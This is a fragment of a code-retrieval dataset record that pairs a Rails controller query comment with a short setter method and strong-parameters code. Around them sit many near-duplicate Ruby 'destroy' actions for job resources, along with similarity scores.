"def destroy\n @launched_job.destroy\n respond_to do |format|\n format.html { redirect_to launched_jobs_url }\n format.json { head :no_content }\n end\n end",
"def delete\n job_resource.delete\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to app_jobs_path, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_item = @job.job_items.find(params[:id])\n @job_item.destroy\n\n respond_to do |format|\n format.html { redirect_to [@job] }\n format.json { head :ok }\n end\n end",
"def destroy\n @applicant_job.destroy\n respond_to do |format|\n format.html { redirect_to applicant_jobs_url, notice: 'Applicant job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to client_path(@job.client), notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def remove_jobs(job_ids)\n\n job_ids.each do |id|\n api_url = \"#{BASE_URL}/v4/projects/#{PROJECT_ID}/jobs/#{id}/erase\"\n\n begin\n response = RestClient::Request.new(\n :method => :post,\n :url => api_url,\n :verify_ssl => false,\n :headers => {\"PRIVATE-TOKEN\" => API_TOKEN}\n ).execute\n\n if response != nil && response.code == 204\n puts \"delete job #{id} => success\"\n else\n puts \"delete job #{id} => failed\"\n end\n\n rescue RestClient::ExceptionWithResponse => err\n puts \"delete job artifacts #{id} => error\"\n end\n\n end\n\nend",
"def destroy\n @client.app_destroy(params[:id])\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @db_job.destroy\n respond_to do |format|\n format.html { redirect_to db_jobs_url, notice: 'Db job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jobapp.destroy\n flash[:success] = \"Jobapp was successfully destroyed\"\n redirect_to action: \"index\"\n end",
"def destroy \n @job = Mugen::Job.delete(params[:id])\n \n respond_to do |format|\n format.html { redirect_to(mygengo_jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n if UbiquoJobs.manager.delete(params[:id])\n flash[:notice] = t(\"ubiquo.jobs.job_removed\")\n else\n flash[:error] = t(\"ubiquo.jobs.cant_remove\")\n end\n\n respond_to do |format|\n format.html { redirect_to(ubiquo.jobs_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n authorize!(@job)\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_with Job.find(params[:id]).delete\n end",
"def destroy\n @job = @user.jobs.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to :dashboard, notice: \"Job was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = @user.jobs.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to :dashboard, notice: 'Job was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @training_active_job = Training::ActiveJob.find(params[:id])\n @training_active_job.destroy\n\n respond_to do |format|\n format.html { redirect_to training_active_jobs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @emp_job = EmpJob.find(params[:id])\n @emp_job.destroy\n\n respond_to do |format|\n format.html { redirect_to emp_jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_compact = JobCompact.find(params[:id])\n @job_compact.destroy\n\n respond_to do |format|\n format.html { redirect_to job_compacts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n connection.delete do |req|\n req.url \"job/#{id}\"\n end\n end",
"def destroy\n @saved_job = SavedJob.find(params[:id])\n @saved_job.destroy\n\n respond_to do |format|\n format.html { redirect_to saved_jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = current_member.jobs.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_scope_addition = JobScopeAddition.find(params[:id])\n jid = @job_scope_addition.jobs_id\n jsa_id = params[:id]\n recs = AdditionTaskRecord.find_all_by_jobs_id(jsa_id)\n delete_records(recs)\n @job_scope_addition.destroy\n\n respond_to do |format|\n format.html { redirect_to(\"#{job_scope_additions_url}?jid=#{jid}\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n Job.destroy(params[:id])\n end",
"def destroy\n @job.destroy\n redirect_to root_url\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to mentor_jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @act_job.destroy\n respond_to do |format|\n format.html { redirect_to act_jobs_url, notice: 'Act job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = @user.jobs.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n ensure_authenticated!\n job = OAR::Job.find(params[:id])\n authorize!(job.user)\n\n url = uri_to(\n site_path(\n params[:site_id]\n )+\"/internal/oarapi/jobs/#{params[:id]}.json\",\n :out\n )\n http = EM::HttpRequest.new(url).delete(\n :timeout => 5,\n :head => {\n 'X-Remote-Ident' => @credentials[:cn],\n 'Accept' => media_type(:json)\n }\n )\n\n continue_if!(http, :is => [200,202,204,404])\n\n if http.response_header.status == 404\n raise NotFound, \"Cannot find job##{params[:id]} on the OAR server\"\n else\n response.headers['X-Oar-Info'] = (\n JSON.parse(http.response)['oardel_output'] || \"\"\n ).split(\"\\n\").join(\" \") rescue \"-\"\n\n location_uri = uri_to(\n resource_path(params[:id]),\n :in, :absolute\n )\n\n render :text => \"\",\n :head => :ok,\n :location => location_uri,\n :status => 202\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jobsite.destroy\n respond_to do |format|\n format.html { redirect_to jobsites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @applied_job.destroy\n respond_to do |format|\n format.html { redirect_to applied_jobs_url, notice: 'Applied job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @saved_job.destroy\n respond_to do |format|\n format.html { redirect_to saved_jobs_url, notice: t('saved_jobs_controller.saved_jobs_delete_success') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to @job, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n flash[:success] = \"Job successfully destroyed\"\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job_list = JobList.find(params[:id])\n @job_list.destroy\n\n respond_to do |format|\n format.html { redirect_to job_lists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @myjob.destroy\n respond_to do |format|\n format.html { redirect_to myjobs_url, notice: 'Myjob was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find_by_job_number(params[:id])\n if admin?\n @job.destroy\n end\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, success: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sfjob = Sfjob.find(params[:id])\n @sfjob.destroy\n\n respond_to do |format|\n format.html { redirect_to sfjobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @worker_job.destroy\n respond_to do |format|\n format.html { redirect_to worker_jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_detail.destroy\n respond_to do |format|\n format.html { redirect_to job_job_details_url, notice: 'Job detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy_applicant\n @job_user = JobUser.find(params[:id])\n @job = @job_user.job\n @job_user.delete\n redirect_to job_path(@job)\n end",
"def remove_artifacts(job_ids)\n\n job_ids.each do |id|\n api_url = \"#{BASE_URL}/v4/projects/#{PROJECT_ID}/jobs/#{id}/artifacts\"\n\n begin\n response = RestClient::Request.new(\n :method => :delete,\n :url => api_url,\n :verify_ssl => false,\n :headers => {\"PRIVATE-TOKEN\" => API_TOKEN}\n ).execute\n\n if response != nil && response.code == 204\n puts \"delete job artifacts #{id} => success\"\n else\n puts \"delete job artifacts #{id} => failed\"\n end\n\n rescue RestClient::ExceptionWithResponse => err\n puts \"delete job artifacts #{id} => error\"\n end\n end\n\nend",
"def destroy\n @job = Job.destroy(params[:id])\n redirect_to jobs_path\n end",
"def destroy\n @create_job.destroy\n respond_to do |format|\n format.html { redirect_to create_jobs_url, notice: 'Create job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize! :destroy, @db_job_status\n @db_job_status.destroy\n respond_to do |format|\n format.html { redirect_to db_job_statuses_url, notice: 'Db job status was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_status = JobStatus.find(params[:id])\n @job_status.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_job_statuses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: \"Job was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = current_user.posted_jobs.find(params[:id])\n @job.try(:destroy)\n render json: {}\n end",
"def destroy\n @job_notification = JobNotification.find(params[:id])\n @job_notification.destroy\n\n respond_to do |format|\n format.html { redirect_to job_notifications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pending_job.destroy\n respond_to do |format|\n format.html { redirect_to pending_jobs_url, notice: 'Pending job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_category = JobCategory.find(params[:id])\n @job_category.destroy\n\n respond_to do |format|\n format.html { redirect_to job_categories_url }\n format.json { head :no_content }\n end\n end",
"def jobs_del\r\n job_profile_id = params[:job_profile_id]\r\n job_profile = JobProfile.find(job_profile_id, :select => \"id, account_id\")\r\n \r\n return jump_to(\"/errors/forbidden\") unless job_profile.account_id == session[:account_id]\r\n \r\n JobProfile.delete(job_profile_id)\r\n @job_profile_entry_id = \"job_profile_#{job_profile_id}\"\r\n end",
"def destroy\n @import_job.destroy\n respond_to do |format|\n format.html { redirect_to import_jobs_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.7790644",
"0.7636803",
"0.7635471",
"0.7635471",
"0.76344645",
"0.7595782",
"0.7372801",
"0.7372801",
"0.7371552",
"0.7371552",
"0.7321274",
"0.7297315",
"0.7282463",
"0.7220791",
"0.71963775",
"0.71139127",
"0.7089889",
"0.7088245",
"0.70454216",
"0.70454216",
"0.70454216",
"0.70454216",
"0.70451283",
"0.7043392",
"0.70406646",
"0.69952846",
"0.69894296",
"0.6976653",
"0.6949392",
"0.69452643",
"0.6943139",
"0.6933621",
"0.6932286",
"0.693143",
"0.6926595",
"0.6923755",
"0.6919537",
"0.69089913",
"0.6895111",
"0.6889893",
"0.6888798",
"0.68885076",
"0.6884789",
"0.68769383",
"0.6864254",
"0.68624544",
"0.68605435",
"0.6853498",
"0.68479025",
"0.6842625",
"0.682368",
"0.6799532",
"0.6785008",
"0.67780876",
"0.67780876",
"0.67780876",
"0.67780876",
"0.67780876",
"0.67780876",
"0.67780876",
"0.67780876",
"0.67780876",
"0.67780876",
"0.67780876",
"0.67780876",
"0.67780876",
"0.6774205",
"0.6759363",
"0.675494",
"0.67426145",
"0.6741735",
"0.67321163",
"0.67321163",
"0.67321163",
"0.67321163",
"0.67321163",
"0.67321163",
"0.67321163",
"0.67321163",
"0.67229027",
"0.67203057",
"0.6717339",
"0.67098445",
"0.6705065",
"0.66959476",
"0.6680848",
"0.6679187",
"0.66718614",
"0.6667225",
"0.6662257",
"0.66604674",
"0.6639747",
"0.6634955",
"0.66201174",
"0.66176605",
"0.6610032",
"0.6609415",
"0.66082716",
"0.6607882",
"0.66029996"
] | 0.7491728 | 6 |
Use callbacks to share common setup or constraints between actions. | def set_job_application
@job_application = JobApplication.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def setup_handler\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup\n #implement in subclass;\n end",
"def after_set_callback; end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def setup(&blk)\n @setup_block = blk\n end",
"def default_action; end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def call\n setup_context\n super\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end"
] | [
"0.6165094",
"0.60450804",
"0.5944413",
"0.5915806",
"0.58885634",
"0.5835225",
"0.5775847",
"0.5700531",
"0.5700531",
"0.56543404",
"0.56209993",
"0.54238355",
"0.5410386",
"0.5410386",
"0.5410386",
"0.5394892",
"0.5377769",
"0.53559244",
"0.5339896",
"0.53388095",
"0.5330087",
"0.5311993",
"0.5297402",
"0.5296789",
"0.52957207",
"0.52596015",
"0.5245442",
"0.5237084",
"0.5237084",
"0.5237084",
"0.5237084",
"0.5237084",
"0.5235431",
"0.5231888",
"0.5226663",
"0.52220625",
"0.5217086",
"0.52137345",
"0.5208314",
"0.5205469",
"0.5175606",
"0.5174914",
"0.5173361",
"0.51662856",
"0.5161792",
"0.51572216",
"0.5153063",
"0.5152982",
"0.5152632",
"0.51435786",
"0.5139829",
"0.51346594",
"0.511372",
"0.511372",
"0.51136476",
"0.51083213",
"0.5108011",
"0.5091935",
"0.5089297",
"0.5081576",
"0.50807106",
"0.50656676",
"0.50548106",
"0.50537366",
"0.505074",
"0.505074",
"0.5033361",
"0.5025158",
"0.5020441",
"0.5015611",
"0.50142473",
"0.5000281",
"0.50001067",
"0.49989453",
"0.4989465",
"0.4989465",
"0.4985425",
"0.49805096",
"0.49795893",
"0.49783278",
"0.49676263",
"0.49656346",
"0.49579078",
"0.4955427",
"0.49554235",
"0.49536413",
"0.49523768",
"0.49457142",
"0.49433607",
"0.4933641",
"0.49320185",
"0.49265638",
"0.49262375",
"0.49259067",
"0.4922456",
"0.49201223",
"0.49165115",
"0.49158815",
"0.49151883",
"0.49149552",
"0.4914386"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def job_application_params
params.require(:job_application).permit(:apply_job_info, :price_per_hour, :job_id, :user_id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
